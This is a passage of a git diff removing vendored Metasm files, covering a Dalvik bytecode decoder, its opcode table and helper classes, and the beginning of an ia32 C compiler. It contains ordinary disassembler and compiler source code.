edata.decode_imm(:i16, @endianness) - Expression[val.last << 48] - when :i32 - val << edata.decode_imm(:u16, @endianness) - val << edata.decode_imm(:i16, @endianness) - Expression[val[-2] | (val[-1] << 16)] - when :u32 - val << edata.decode_imm(:u16, @endianness) - val << edata.decode_imm(:u16, @endianness) - Expression[val[-2] | (val[-1] << 16)] - when :u64 - val << edata.decode_imm(:u16, @endianness) - val << edata.decode_imm(:u16, @endianness) - val << edata.decode_imm(:u16, @endianness) - val << edata.decode_imm(:u16, @endianness) - Expression[val[-4] | (val[-3] << 16) | (val[-2] << 32) | (val[-1] << 48)] - when :ra - Reg.new((val[0] >> 8) & 0xf) - when :rb - Reg.new((val[0] >> 12) & 0xf) - when :ib - Expression[Expression.make_signed((val[0] >> 12) & 0xf, 4)] - when :raa - Reg.new((val[0] >> 8) & 0xff) - when :iaa - Expression[Expression.make_signed((val[0] >> 8) & 0xff, 8)] - when :rbb - val[1] ||= edata.decode_imm(:u16, @endianness) - Reg.new(val[1] & 0xff) - when :ibb - val[1] ||= edata.decode_imm(:u16, @endianness) - Expression[Expression.make_signed(val[1] & 0xff, 8)] - when :rcc - val[1] ||= edata.decode_imm(:u16, @endianness) - Reg.new((val[1] >> 8) & 0xff) - when :icc - val[1] ||= edata.decode_imm(:u16, @endianness) - Expression[Expression.make_signed((val[1] >> 8) & 0xff, 8)] - when :rlist4, :rlist5 - cnt = (val[0] >> 12) & 0xf - val << edata.decode_imm(:u16, @endianness) - [cnt, 4].min.times { - di.instruction.args << Reg.new(val[-1] & 0xf) - val[-1] >>= 4 - } - di.instruction.args << Reg.new((val[0] >> 8) & 0xf) if cnt > 4 - next - when :rlist16 - cnt = (val[0] >> 8) & 0xff - val << edata.decode_imm(:u16, @endianness) - cnt.times { |c| - di.instruction.args << Reg.new(val[-1] + c) - } - next - when :m16 - val << edata.decode_imm(:u16, @endianness) - DexMethod.new(@dex, val.last) - when :fld16 - val << edata.decode_imm(:u16, @endianness) - DexField.new(@dex, val.last) - when :typ16 - val << edata.decode_imm(:u16, @endianness) - DexType.new(@dex, val.last) - when :str16 - val << edata.decode_imm(:u16, @endianness) - DexString.new(@dex, val.last) - else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" - end - } - - di.bin_length = val.length*2 - - return if edata.ptr > edata.length - - di - end - - def decode_instr_interpret(di, addr) - if di.opcode.props[:setip] and di.instruction.args.last.kind_of? Expression and di.instruction.opname =~ /^if|^goto/ - arg = Expression[addr, :+, [di.instruction.args.last, :*, 2]].reduce - di.instruction.args[-1] = Expression[arg] - end - - di - end - - def backtrace_binding - @backtrace_binding ||= init_backtrace_binding - end - - def init_backtrace_binding - @backtrace_binding ||= {} - sz = @size/8 - @opcode_list.each { |op| - case op.name - when /invoke/ - @backtrace_binding[op.name] = lambda { |di, *args| { - :callstack => Expression[:callstack, :-, sz], - Indirection[:callstack, sz] => Expression[di.next_addr] - } } - when /return/ - @backtrace_binding[op.name] = lambda { |di, *args| { - :callstack => Expression[:callstack, :+, sz] - } } - end - } - @backtrace_binding - end - - def get_backtrace_binding(di) - a = di.instruction.args.map { |arg| - case arg - when Reg; arg.symbolic - else arg - end - } - - if binding = backtrace_binding[di.opcode.name] - binding[di, *a] - else - puts "unhandled instruction to backtrace: #{di}" if $VERBOSE - # assume nothing except the 1st arg is modified - case a[0] - when Indirection, Symbol; { a[0] => Expression::Unknown } - when Expression; (x = a[0].externals.first) ? { x => Expression::Unknown } : {} - else {} - end.update(:incomplete_binding => Expression[1]) - end - - end - - def get_xrefs_x(dasm, di) - if di.opcode.props[:saveip] - m = di.instruction.args.first - if m.kind_of?(DexMethod) and m.off - [m.off] - else - [:default] - end - elsif di.opcode.props[:setip] - if di.opcode.name =~ /^return/ - [Indirection[:callstack, @size/8]] - elsif di.opcode.name =~ /^if|^goto/ - [di.instruction.args.last] - else - [] # [di.instruction.args.last] - end - else - [] - end - end - - # returns a DecodedFunction suitable for :default - # uses disassembler_default_bt{for/bind}_callback - def disassembler_default_func - df = DecodedFunction.new - ra = Indirection[:callstack, @size/8] - df.backtracked_for << BacktraceTrace.new(ra, :default, ra, :x, nil) - df.backtrace_binding[:callstack] = Expression[:callstack, :+, @size/8] - df.btfor_callback = lambda { |dasm, btfor, funcaddr, calladdr| - if funcaddr != :default - btfor - elsif di = dasm.decoded[calladdr] and di.opcode.props[:saveip] - btfor - else [] - end - } - - df - end - - def backtrace_is_function_return(expr, di=nil) - expr and Expression[expr] == Expression[Indirection[:callstack, @size/8]] - end -end -end diff --git a/lib/metasm/metasm/cpu/dalvik/main.rb b/lib/metasm/metasm/cpu/dalvik/main.rb deleted file mode 100644 index 264192cfb4..0000000000 --- a/lib/metasm/metasm/cpu/dalvik/main.rb +++ /dev/null @@ -1,109 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' - -module Metasm -class Dalvik < CPU - class Reg - attr_accessor :i - def initialize(i) - @i = i - end - - def symbolic - "r#@i".to_sym - end - - def to_s - "r#@i" - end - end - - class DexMethod - attr_accessor :dex, :midx, :off - def initialize(dex, midx) - @dex = dex - @midx = midx - if @dex and m = @dex.methods[midx] and c = @dex.classes[m.classidx] and c.data and - me = (c.data.direct_methods+c.data.virtual_methods).find { |mm| mm.methodid == midx } - # FIXME this doesnt work - @off = me.codeoff + me.code.insns_off - end - end - - def to_s - if @dex and m = @dex.methods[@midx] - @dex.types[m.classidx] + '->' + @dex.strings[m.nameidx] - #dex.encoded.inv_export[@off] - else - "method_#@midx" - end - end - end - - class DexField - attr_accessor :dex, :fidx - def initialize(dex, fidx) - @dex = dex - @fidx = fidx - end - - def to_s - if @dex and f = @dex.fields[@fidx] - @dex.types[f.classidx] + '->' + @dex.strings[f.nameidx] - else - "field_#@fidx" - end - end - end - - class DexType - attr_accessor :dex, :tidx - def initialize(dex, tidx) - @dex = dex - @tidx = tidx - end - - def to_s - if @dex and f = @dex.types[@tidx] - f - else - "type_#@tidx" - end - end - end - - class DexString - attr_accessor :dex, :sidx - def initialize(dex, sidx) - @dex = dex - @sidx = sidx - end - - def to_s - if @dex and f = @dex.strings[@sidx] - f.inspect - else - "string_#@sidx" - end - end - end - - def initialize(*args) - super() - @size = args.grep(Integer).first || 32 - @dex = args.grep(ExeFormat).first - @endianness = args.delete(:little) || args.delete(:big) || (@dex ? @dex.endianness : :little) - end - - def init_opcode_list - init_latest - @opcode_list - end -end -end - diff --git a/lib/metasm/metasm/cpu/dalvik/opcodes.rb b/lib/metasm/metasm/cpu/dalvik/opcodes.rb deleted file mode 100644 index bef8d243bd..0000000000 --- a/lib/metasm/metasm/cpu/dalvik/opcodes.rb +++ /dev/null @@ -1,374 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -# the Dalvik binary format, aka android java backend bytecode -# this file was generated using the android source tree, as reference, -# specifically dalvik/libdex/InstrUtils.c - -# the binary opcode format is 16 bit word-based -# the opcode number is in the low-order byte, and determines the -# argument format, which may take up to 4 other words - -require 'metasm/cpu/dalvik/main' - -module Metasm -class Dalvik - OPCODES = %w[nop move move_from16 move_16 move_wide move_wide_from16 -move_wide_16 move_object move_object_from16 move_object_16 move_result -move_result_wide move_result_object move_exception -return_void return return_wide return_object -const_4 const_16 const const_high16 const_wide_16 const_wide_32 -const_wide const_wide_high16 const_string const_string_jumbo const_class -monitor_enter monitor_exit check_cast instance_of array_length -new_instance new_array filled_new_array filled_new_array_range fill_array_data -throw goto goto_16 goto_32 packed_switch sparse_switch -cmpl_float cmpg_float cmpl_double cmpg_double cmp_long -if_eq if_ne if_lt if_ge if_gt if_le if_eqz if_nez if_ltz if_gez if_gtz if_lez -unused_3e unused_3f unused_40 unused_41 unused_42 unused_43 -aget aget_wide aget_object aget_boolean aget_byte aget_char aget_short -aput aput_wide aput_object aput_boolean aput_byte aput_char aput_short -iget iget_wide iget_object iget_boolean iget_byte iget_char iget_short -iput iput_wide iput_object iput_boolean iput_byte iput_char iput_short -sget sget_wide sget_object sget_boolean sget_byte sget_char sget_short -sput sput_wide sput_object sput_boolean sput_byte sput_char sput_short -invoke_virtual invoke_super invoke_direct invoke_static invoke_interface -unused_73 -invoke_virtual_range invoke_super_range invoke_direct_range invoke_static_range invoke_interface_range -unused_79 unused_7a -neg_int not_int neg_long not_long neg_float neg_double -int_to_long int_to_float int_to_double long_to_int long_to_float long_to_double -float_to_int float_to_long float_to_double double_to_int double_to_long -double_to_float int_to_byte int_to_char int_to_short -add_int sub_int mul_int div_int rem_int and_int or_int xor_int shl_int shr_int ushr_int -add_long sub_long mul_long div_long rem_long and_long or_long xor_long shl_long shr_long ushr_long -add_float sub_float mul_float div_float rem_float -add_double sub_double mul_double div_double rem_double -add_int_2addr sub_int_2addr mul_int_2addr div_int_2addr rem_int_2addr -and_int_2addr or_int_2addr xor_int_2addr shl_int_2addr shr_int_2addr ushr_int_2addr -add_long_2addr sub_long_2addr mul_long_2addr div_long_2addr rem_long_2addr -and_long_2addr or_long_2addr xor_long_2addr shl_long_2addr shr_long_2addr ushr_long_2addr -add_float_2addr sub_float_2addr mul_float_2addr div_float_2addr rem_float_2addr -add_double_2addr sub_double_2addr mul_double_2addr div_double_2addr rem_double_2addr -add_int_lit16 rsub_int mul_int_lit16 div_int_lit16 rem_int_lit16 and_int_lit16 or_int_lit16 xor_int_lit16 -add_int_lit8 rsub_int_lit8 mul_int_lit8 div_int_lit8 rem_int_lit8 and_int_lit8 or_int_lit8 xor_int_lit8 -shl_int_lit8 shr_int_lit8 ushr_int_lit8 -unused_e3 unused_e4 unused_e5 unused_e6 unused_e7 unused_e8 unused_e9 unused_ea unused_eb unused_ec -throw_verification_error execute_inline unused_ef invoke_direct_empty unused_f1 -iget_quick iget_wide_quick iget_object_quick iput_quick iput_wide_quick iput_object_quick -invoke_virtual_quick invoke_virtual_quick_range invoke_super_quick invoke_super_quick_range -unused_fc unused_fd unused_fe unused_ff] - - def init_dalvik - @valid_props[:canthrow] = true - [:i16, :i16_32hi, :i16_64hi, :i32, :iaa, :ib, :icc, :u16, :u32, :u64, - :r16, :ra, :raa, :rb, :rbb, :rcc, :rlist16, :rlist4, :rlist5, - :m16, :fld16, :typ16, :str16 - ].each { |a| @valid_args[a] = true } - @opcode_list = [] - - OPCODES.each_with_index { |n, b| - op = Opcode.new(n, b) - addop_args(op) - addop_props(op) - @opcode_list << op - } - - raise "Internal error #{@opcode_list.length}" if @opcode_list.length != 256 - end - alias init_latest init_dalvik - - def addop_args(op) - fmt = case op.name - when 'goto' - :fmt10t - when 'nop', 'return_void' - :fmt10x - when 'const_4' - :fmt11n - when 'const_high16' - :fmt21h - when 'const_wide_high16' - :fmt21hh - when 'move_result', 'move_result_wide', 'move_result_object', - 'move_exception', 'return', 'return_wide', - 'return_object', 'monitor_enter', 'monitor_exit', - 'throw' - :fmt11x - when 'move', 'move_wide', 'move_object', 'array_length', - 'neg_int', 'not_int', 'neg_long', 'not_long', - 'neg_float', 'neg_double', 'int_to_long', - 'int_to_float', 'int_to_double', 'long_to_int', - 'long_to_float', 'long_to_double', 'float_to_int', - 'float_to_long', 'float_to_double', 'double_to_int', - 'double_to_long', 'double_to_float', 'int_to_byte', - 'int_to_char', 'int_to_short', 'add_int_2addr', - 'sub_int_2addr', 'mul_int_2addr', 'div_int_2addr', - 'rem_int_2addr', 'and_int_2addr', 'or_int_2addr', - 'xor_int_2addr', 'shl_int_2addr', 'shr_int_2addr', - 'ushr_int_2addr', 'add_long_2addr', 'sub_long_2addr', - 'mul_long_2addr', 'div_long_2addr', 'rem_long_2addr', - 'and_long_2addr', 'or_long_2addr', 'xor_long_2addr', - 'shl_long_2addr', 'shr_long_2addr', 'ushr_long_2addr', - 'add_float_2addr', 'sub_float_2addr', 'mul_float_2addr', - 'div_float_2addr', 'rem_float_2addr', - 'add_double_2addr', 'sub_double_2addr', - 'mul_double_2addr', 'div_double_2addr', - 'rem_double_2addr' - :fmt12x - when 'goto_16' - :fmt20t - when 'goto_32' - :fmt30t - when 'const_string' - :fmt21c_str - when 'const_class', 'check_cast', - 'new_instance' - :fmt21c_typ - when 'sget', 'sget_wide', 'sget_object', - 'sget_boolean', 'sget_byte', 'sget_char', 'sget_short', - 'sput', 'sput_wide', 'sput_object', 'sput_boolean', - 'sput_byte', 'sput_char', 'sput_short' - :fmt21c_fld - when 'const_16', 'const_wide_16' - :fmt21s - when 'if_eqz', 'if_nez', 'if_ltz', 'if_gez', 'if_gtz', 'if_lez' - :fmt21t - when 'fill_array_data', 'packed_switch', 'sparse_switch' - :fmt31t - when 'add_int_lit8', 'rsub_int_lit8', 'mul_int_lit8', - 'div_int_lit8', 'rem_int_lit8', 'and_int_lit8', - 'or_int_lit8', 'xor_int_lit8', 'shl_int_lit8', - 'shr_int_lit8', 'ushr_int_lit8' - :fmt22b - when 'instance_of', 'new_array', 'iget', 'iget_wide', - 'iget_object', 'iget_boolean', 'iget_byte', - 'iget_char', 'iget_short', 'iput', 'iput_wide', - 'iput_object', 'iput_boolean', 'iput_byte', - 'iput_char', 'iput_short' - :fmt22c - when 'add_int_lit16', 'rsub_int', 'mul_int_lit16', - 'div_int_lit16', 'rem_int_lit16', 'and_int_lit16', - 'or_int_lit16', 'xor_int_lit16' - :fmt22s - when 'if_eq', 'if_ne', 'if_lt', 'if_ge', 'if_gt', 'if_le' - :fmt22t - when 'move_from16', 'move_wide_from16', 'move_object_from16' - :fmt22x - when 'cmpl_float', 'cmpg_float', 'cmpl_double', 'cmpg_double', - 'cmp_long', 'aget', 'aget_wide', 'aget_object', - 'aget_boolean', 'aget_byte', 'aget_char', 'aget_short', - 'aput', 'aput_wide', 'aput_object', 'aput_boolean', - 'aput_byte', 'aput_char', 'aput_short', 'add_int', - 'sub_int', 'mul_int', 'div_int', 'rem_int', 'and_int', - 'or_int', 'xor_int', 'shl_int', 'shr_int', 'ushr_int', - 'add_long', 'sub_long', 'mul_long', 'div_long', - 'rem_long', 'and_long', 'or_long', 'xor_long', - 'shl_long', 'shr_long', 'ushr_long', 'add_float', - 'sub_float', 'mul_float', 'div_float', 'rem_float', - 'add_double', 'sub_double', 'mul_double', 'div_double', - 'rem_double' - :fmt23x - when 'const', 'const_wide_32' - :fmt31i - when 'const_string_jumbo' - :fmt31c - when 'move_16', 'move_wide_16', 'move_object_16' - :fmt32x - when 'filled_new_array' - :fmt35ca - when 'invoke_virtual', 'invoke_super', - 'invoke_direct', 'invoke_static', 'invoke_interface' - :fmt35c - when 'filled_new_array_range', 'invoke_virtual_range', - 'invoke_super_range', 'invoke_direct_range', - 'invoke_static_range', 'invoke_interface_range' - :fmt3rc - when 'const_wide' - :fmt51l - when 'throw_verification_error' - :fmt20bc - when 'iget_quick', 'iget_wide_quick', 'iget_object_quick', - 'iput_quick', 'iput_wide_quick', 'iput_object_quick' - :fmt22cs - when 'invoke_virtual_quick', 'invoke_super_quick' - :fmt35ms - when 'invoke_virtual_quick_range', 'invoke_super_quick_range' - :fmt3rms - when 'execute_inline' - :fmt3inline - when 'invoke_direct_empty' - :fmt35c - when 'unused_3e', 'unused_3f', 'unused_40', 'unused_41', - 'unused_42', 'unused_43', 'unused_73', 'unused_79', - 'unused_7a', 'unused_e3', 'unused_e4', 'unused_e5', - 'unused_e6', 'unused_e7', 'unused_e8', 'unused_e9', - 'unused_ea', 'unused_eb', 'unused_ec', 'unused_ef', - 'unused_f1', 'unused_fc', 'unused_fd', 'unused_fe', - 'unused_ff' - :fmtUnknown - else - raise "Internal error #{op.name}" - end - - case fmt - when :fmt10x; op.args << :iaa - when :fmt12x; op.args << :ra << :rb - when :fmt11n; op.args << :ra << :ib - when :fmt11x; op.args << :raa - when :fmt10t; op.args << :iaa - when :fmt20t; op.args << :i16 - when :fmt20bc; op.args << :iaa << :u16 - when :fmt21c_str; op.args << :raa << :str16 - when :fmt21c_typ; op.args << :raa << :typ16 - when :fmt21c_fld; op.args << :raa << :fld16 - when :fmt22x; op.args << :raa << :r16 - when :fmt21s, :fmt21t; op.args << :raa << :i16 - when :fmt21h; op.args << :raa << :i16_32hi - when :fmt21hh; op.args << :raa << :i16_64hi - when :fmt23x; op.args << :raa << :rbb << :rcc - when :fmt22b; op.args << :raa << :rbb << :icc - when :fmt22s, :fmt22t; op.args << :ra << :rb << :i16 - when :fmt22c, :fmt22cs; op.args << :ra << :rb << :fld16 - when :fmt30t; op.args << :i32 - when :fmt31t, :fmt31c; op.args << :raa << :u32 - when :fmt32x; op.args << :r16 << :r16 - when :fmt31i; op.args << :raa << :i32 - when :fmt35ca - op.args << :r16 << :rlist5 - when :fmt35c, :fmt35ms - # rlist: - # nr of regs in :ib (max 5) - # regs: :ib.times { reg :i16 & 0xf ; :i16 >>= 4 } - # reg :ra if :ib == 5 - op.args << :m16 << :rlist5 - when :fmt3inline - op.args << :r16 << :rlist4 - when :fmt3rc, :fmt3rms - # rlist = :r16, :r16+1, :r16+2, ..., :r16+:iaa-1 - op.args << :r16 << :rlist16 - when :fmt51l - # u64 = u16 | (u16 << 16) | ... - op.args << :raa << :u64 - when :fmtUnknown - op.args << :iaa - else - raise "Internal error #{fmt.inspect}" - end - end - - def addop_props(op) - case op.name - when 'nop', 'move', 'move_from16', 'move_16', 'move_wide', - 'move_wide_from16', 'move_wide_16', 'move_object', - 'move_object_from16', 'move_object_16', 'move_result', - 'move_result_wide', 'move_result_object', - 'move_exception', 'const_4', 'const_16', 'const', - 'const_high16', 'const_wide_16', 'const_wide_32', - 'const_wide', 'const_wide_high16', 'fill_array_data', - 'cmpl_float', 'cmpg_float', 'cmpl_double', - 'cmpg_double', 'cmp_long', 'neg_int', 'not_int', - 'neg_long', 'not_long', 'neg_float', 'neg_double', - 'int_to_long', 'int_to_float', 'int_to_double', - 'long_to_int', 'long_to_float', 'long_to_double', - 'float_to_int', 'float_to_long', 'float_to_double', - 'double_to_int', 'double_to_long', 'double_to_float', - 'int_to_byte', 'int_to_char', 'int_to_short', 'add_int', - 'sub_int', 'mul_int', 'and_int', 'or_int', 'xor_int', - 'shl_int', 'shr_int', 'ushr_int', 'add_long', - 'sub_long', 'mul_long', 'and_long', 'or_long', - 'xor_long', 'shl_long', 'shr_long', 'ushr_long', - 'add_float', 'sub_float', 'mul_float', 'div_float', - 'rem_float', 'add_double', 'sub_double', 'mul_double', - 'div_double', 'rem_double', 'add_int_2addr', - 'sub_int_2addr', 'mul_int_2addr', 'and_int_2addr', - 'or_int_2addr', 'xor_int_2addr', 'shl_int_2addr', - 'shr_int_2addr', 'ushr_int_2addr', 'add_long_2addr', - 'sub_long_2addr', 'mul_long_2addr', 'and_long_2addr', - 'or_long_2addr', 'xor_long_2addr', 'shl_long_2addr', - 'shr_long_2addr', 'ushr_long_2addr', 'add_float_2addr', - 'sub_float_2addr', 'mul_float_2addr', 'div_float_2addr', - 'rem_float_2addr', 'add_double_2addr', - 'sub_double_2addr', 'mul_double_2addr', - 'div_double_2addr', 'rem_double_2addr', 'add_int_lit16', - 'rsub_int', 'mul_int_lit16', 'and_int_lit16', - 'or_int_lit16', 'xor_int_lit16', 'add_int_lit8', - 'rsub_int_lit8', 'mul_int_lit8', 'and_int_lit8', - 'or_int_lit8', 'xor_int_lit8', 'shl_int_lit8', - 'shr_int_lit8', 'ushr_int_lit8' - # normal opcode, continues to next, nothing raised - when 'const_string', 'const_string_jumbo', 'const_class', - 'monitor_enter', 'monitor_exit', 'check_cast', - 'instance_of', 'array_length', 'new_instance', - 'new_array', 'filled_new_array', - 'filled_new_array_range', 'aget', 'aget_boolean', - 'aget_byte', 'aget_char', 'aget_short', 'aget_wide', - 'aget_object', 'aput', 'aput_boolean', 'aput_byte', - 'aput_char', 'aput_short', 'aput_wide', 'aput_object', - 'iget', 'iget_boolean', 'iget_byte', 'iget_char', - 'iget_short', 'iget_wide', 'iget_object', 'iput', - 'iput_boolean', 'iput_byte', 'iput_char', 'iput_short', - 'iput_wide', 'iput_object', 'sget', 'sget_boolean', - 'sget_byte', 'sget_char', 'sget_short', 'sget_wide', - 'sget_object', 'sput', 'sput_boolean', 'sput_byte', - 'sput_char', 'sput_short', 'sput_wide', 'sput_object', - 'div_int', 'rem_int', 'div_long', 'rem_long', - 'div_int_2addr', 'rem_int_2addr', 'div_long_2addr', - 'rem_long_2addr', 'div_int_lit16', 'rem_int_lit16', - 'div_int_lit8', 'rem_int_lit8' - op.props[:canthrow] = true - when 'invoke_virtual', 'invoke_virtual_range', 'invoke_super', - 'invoke_super_range', 'invoke_direct', - 'invoke_direct_range', 'invoke_static', - 'invoke_static_range', 'invoke_interface', - 'invoke_interface_range' - op.props[:canthrow] = true - op.props[:saveip] = true - op.props[:setip] = true - op.props[:stopexec] = true - when 'return_void', 'return', 'return_wide', 'return_object' - op.props[:setip] = true - op.props[:stopexec] = true - when 'throw' - op.props[:canthrow] = true - op.props[:stopexec] = true - when 'goto', 'goto_16', 'goto_32' - op.props[:setip] = true - op.props[:stopexec] = true - when 'if_eq', 'if_ne', 'if_lt', 'if_ge', 'if_gt', 'if_le', - 'if_eqz', 'if_nez', 'if_ltz', 'if_gez', 'if_gtz', - 'if_lez' - op.props[:setip] = true - when 'packed_switch', 'sparse_switch' - op.props[:setip] = true # if no table match, nostopexec - op.props[:setip] = true - when 'throw_verification_error' - op.props[:canthrow] = true - op.props[:stopexec] = true - when 'execute_inline' - when 'iget_quick', 'iget_wide_quick', 'iget_object_quick', - 'iput_quick', 'iput_wide_quick', 'iput_object_quick' - op.props[:canthrow] = true - when 'invoke_virtual_quick', 'invoke_virtual_quick_range', - 'invoke_super_quick', 'invoke_super_quick_range', - 'invoke_direct_empty' - op.props[:canthrow] = true - op.props[:saveip] = true - op.props[:setip] = true - op.props[:stopexec] = true - when 'unused_3e', 'unused_3f', 'unused_40', 'unused_41', - 'unused_42', 'unused_43', 'unused_73', 'unused_79', - 'unused_7a', 'unused_e3', 'unused_e4', 'unused_e5', - 'unused_e6', 'unused_e7', 'unused_e8', 'unused_e9', - 'unused_ea', 'unused_eb', 'unused_ec', 'unused_ef', - 'unused_f1', 'unused_fc', 'unused_fd', 'unused_fe', - 'unused_ff' - op.props[:stopexec] = true - else - raise "Internal error #{op.name}" - end - end -end -end - diff --git a/lib/metasm/metasm/cpu/ia32.rb b/lib/metasm/metasm/cpu/ia32.rb deleted file mode 100644 index 4bc42a2845..0000000000 --- a/lib/metasm/metasm/cpu/ia32.rb +++ /dev/null @@ -1,17 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -# fix autorequire warning -class Metasm::Ia32 < Metasm::CPU -end - -require 'metasm/main' -require 'metasm/cpu/ia32/parse' -require 'metasm/cpu/ia32/encode' -require 'metasm/cpu/ia32/decode' -require 'metasm/cpu/ia32/render' -require 'metasm/cpu/ia32/compile_c' -require 'metasm/cpu/ia32/decompile' -require 'metasm/cpu/ia32/debug' diff --git a/lib/metasm/metasm/cpu/ia32/compile_c.rb b/lib/metasm/metasm/cpu/ia32/compile_c.rb deleted file mode 100644 index dc7a6aaad9..0000000000 --- a/lib/metasm/metasm/cpu/ia32/compile_c.rb +++ /dev/null @@ -1,1521 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/ia32/parse' -require 'metasm/compile_c' - -module Metasm -class Ia32 -class CCompiler < C::Compiler - # holds compiler state information for a function - # registers are saved as register number (see Ia32::Reg) - # TODO cache eflags ? or just z ? (may be defered to asm_optimize) - class State - # variable => offset from ebp (::Integer or CExpression) - attr_accessor :offset - # the current function - attr_accessor :func - # register => CExpression - attr_accessor :cache - # array of register values used in the function (to save/restore at prolog/epilog) - attr_accessor :dirty - # the array of register values currently not available - attr_accessor :used - # the array of args in use (reg/modrm/composite) the reg dependencies are in +used+ - attr_accessor :inuse - # variable => register for current scope (variable never on the stack) - # bound registers are also in +used+ - attr_accessor :bound - # list of reg values that are not kept across function call - attr_accessor :abi_flushregs_call - # list of regs we can trash without restoring them - attr_accessor :abi_trashregs - - # +used+ includes ebp if true - # nil if ebp is not reserved for stack variable addressing - # Reg if used - attr_accessor :saved_ebp - - def initialize(func) - @func = func - @offset = {} - @cache = {} - @dirty = [] - @used = [4] # esp is always in use - @inuse = [] - @bound = {} - @abi_flushregs_call = [0, 1, 2] # eax, ecx, edx (r8 etc ?) - @abi_trashregs = [0, 1, 2] - end - end - - # tracks 2 registers storing a value bigger than each - class Composite - attr_accessor :low, :high - def initialize(low, high) - @low, @high = low, high - end - def sz; 64 end - end - - # some address - class Address - attr_accessor :modrm, :target - def initialize(modrm, target=nil) - @modrm, @target = modrm, target - end - def sz; @modrm.adsz end - def to_s; "#" end - end - - - def initialize(*a) - super(*a) - @cpusz = @exeformat.cpu.size - @regnummax = (@cpusz == 64 ? 15 : 7) - end - - # shortcut to add an instruction to the source - def instr(name, *args) - # XXX parse_postfix ? - @source << Instruction.new(@exeformat.cpu, name, args) - end - - # returns an available register, tries to find one not in @state.cache - # do not use with sz==8 (aliasing ah=>esp) - # does not put it in @state.inuse - # TODO multipass for reg cache optimization - # TODO dynamic regval for later fixup (need a value to be in ecx for shl, etc) - def findreg(sz = @cpusz) - caching = @state.cache.keys.grep(Reg).map { |r| r.val } - if not regval = ([*0..@regnummax] - @state.used - caching).first || - ([*0..@regnummax] - @state.used).first - raise 'need more registers! (or a better compiler?)' - end - getreg(regval, sz) - end - - # returns a Reg from a regval, mark it as dirty, flush old cache dependencies - def getreg(regval, sz=@cpusz) - flushcachereg(regval) - @state.dirty |= [regval] - Reg.new(regval, sz) - end - - # remove the cache keys that depends on the register - def flushcachereg(regval) - @state.cache.delete_if { |e, val| - case e - when Reg; e.val == regval - when Address; e = e.modrm ; redo - when ModRM; e.b && (e.b.val == regval) or e.i && (e.i.val == regval) - when Composite; e.low.val == regval or e.high.val == regval - end - } - end - - # removes elements from @state.inuse, free @state.used if unreferenced - # must be the exact object present in inuse - def unuse(*vals) - vals.each { |val| - val = val.modrm if val.kind_of? Address - @state.inuse.delete val - } - # XXX cache exempt - exempt = @state.bound.values.map { |r| r.kind_of? Composite ? [r.low.val, r.high.val] : r.val }.flatten - exempt << 4 - exempt << 5 if @state.saved_ebp - @state.used.delete_if { |regval| - next if exempt.include? regval - not @state.inuse.find { |val| - case val - when Reg; val.val == regval - when ModRM; (val.b and val.b.val == regval) or (val.i and val.i.val == regval) - when Composite; val.low.val == regval or val.high.val == regval - else raise 'internal error - inuse ' + val.inspect - end - } - } - end - - # marks an arg as in use, returns the arg - def inuse(v) - case v - when Reg; @state.used |= [v.val] - when ModRM - @state.used |= [v.i.val] if v.i - @state.used |= [v.b.val] if v.b - when Composite; @state.used |= [v.low.val, v.high.val] - when Address; inuse v.modrm ; return v - else return v - end - @state.inuse |= [v] - v - end - - # returns a variable storage (ModRM for stack/global, Reg/Composite for register-bound) - def findvar(var) - if ret = @state.bound[var] - return ret - end - - if ret = @state.cache.index(var) - ret = ret.dup - inuse ret - return ret - end - - sz = 8*sizeof(var) rescue nil # extern char foo[]; - - case off = @state.offset[var] - when C::CExpression - # stack, dynamic address - # TODO - # no need to update state.cache here, never recursive - v = raise "find dynamic addr of #{var.name}" - when ::Integer - # stack - # TODO -fomit-frame-pointer ( => state.cache dependant on stack_offset... ) - v = ModRM.new(@cpusz, sz, nil, nil, @state.saved_ebp, Expression[-off]) - when nil - # global - if @exeformat.cpu.generate_PIC - if not reg = @state.cache.index('metasm_intern_geteip') - @need_geteip_stub = true - if @state.used.include? 6 # esi - reg = findreg - else - reg = getreg 6 - end - if reg.val != 0 - if @state.used.include? 0 - eax = Reg.new(0, @cpusz) - instr 'mov', reg, eax - else - eax = getreg 0 - end - end - - instr 'call', Expression['metasm_intern_geteip'] - - if reg.val != 0 - if @state.used.include? 0 - instr 'xchg', eax, reg - else - instr 'mov', reg, eax - end - end - - @state.cache[reg] = 'metasm_intern_geteip' - end - v = ModRM.new(@cpusz, sz, nil, nil, reg, Expression[var.name, :-, 'metasm_intern_geteip']) - else - v = ModRM.new(@cpusz, sz, nil, nil, nil, Expression[var.name]) - end - end - - case var.type - when C::Array; inuse Address.new(v) - else inuse v - end - end - - # resolves the Address to Reg/Expr (may encode an 'lea') - def resolve_address(e) - r = e.modrm - unuse e - if r.imm and not r.b and not r.i - reg = r.imm - elsif not r.imm and ((not r.b and r.s == 1) or not r.i) - reg = r.b || r.i - elsif reg = @state.cache.index(e) - reg = reg.dup - else - reg = findreg - r.sz = reg.sz - instr 'lea', reg, r - end - inuse reg - @state.cache[reg] = e - reg - end - - # copies the arg e to a volatile location (register/composite) if it is not already - # unuses the old storage - # may return a register bigger than the type size (eg __int8 are stored in full reg size) - # use rsz only to force 32bits-return on a 16bits cpu - def make_volatile(e, type, rsz=@cpusz) - if e.kind_of? ModRM or @state.bound.index(e) - if type.integral? or type.pointer? - oldval = @state.cache[e] - if type.integral? and type.name == :__int64 and @cpusz != 64 - e2l = inuse findreg(32) - unuse e - e2h = inuse findreg(32) - el, eh = get_composite_parts e - instr 'mov', e2l, el - instr 'mov', e2h, eh - e2 = inuse Composite.new(e2l, e2h) - unuse e2l, e2h - else - unuse e - n = type.integral? ? type.name : :ptr - if (sz = typesize[n]*8) < @cpusz or sz < rsz or e.sz < rsz - e2 = inuse findreg(rsz) - op = ((type.specifier == :unsigned) ? 'movzx' : 'movsx') - op = 'mov' if e.sz == e2.sz - else - 